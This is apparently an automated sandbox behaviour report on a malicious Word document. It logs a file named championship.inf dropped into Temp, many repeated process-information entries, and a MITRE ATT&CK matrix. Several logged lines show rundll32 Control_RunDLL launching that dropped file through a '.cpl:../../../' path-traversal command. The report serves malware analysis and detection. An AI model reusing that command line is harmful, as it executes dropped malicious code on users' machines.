Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:../../../AppData/Local/Temp/Low/championship.inf',
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:../../../AppData/Local/Temp/championship.inf',
Source: C:\Windows\SysWOW64\control.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\control.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown

Source: C:\Windows\SysWOW64\control.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{456C004B-C94D-4F20-AF14-ABC04DC179A8} - OProcSessId.dat

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File written: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.ini

Jump to behavior

Source: classification engine

Classification label: mal72.expl.winDOCX@77/22@2/2

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\championship.inf

Jump to dropped file

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\championship.inf

Jump to dropped file

Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE

Registry key monitored for changes: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\championship.inf

Jump to dropped file

Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',	Jump to behavior
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:../../../AppData/Local/Temp/Low/championship.inf',
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:../../../AppData/Local/Temp/championship.inf',
Source: C:\Windows\SysWOW64\control.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\control.exe	Process created: unknown unknown

Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.accdb VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Exploitation for Client Execution23	DLL Side-Loading1	Process Injection11	Masquerading11	OS Credential Dumping	Security Software Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Ingress Tool Transfer2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	DLL Side-Loading1	Process Injection11	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Extra Window Memory Injection1	Rundll321	Security Account Manager	Remote System Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol13	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	DLL Side-Loading1	NTDS	File and Directory Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Extra Window Memory Injection1	LSA Secrets	System Information Discovery12	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
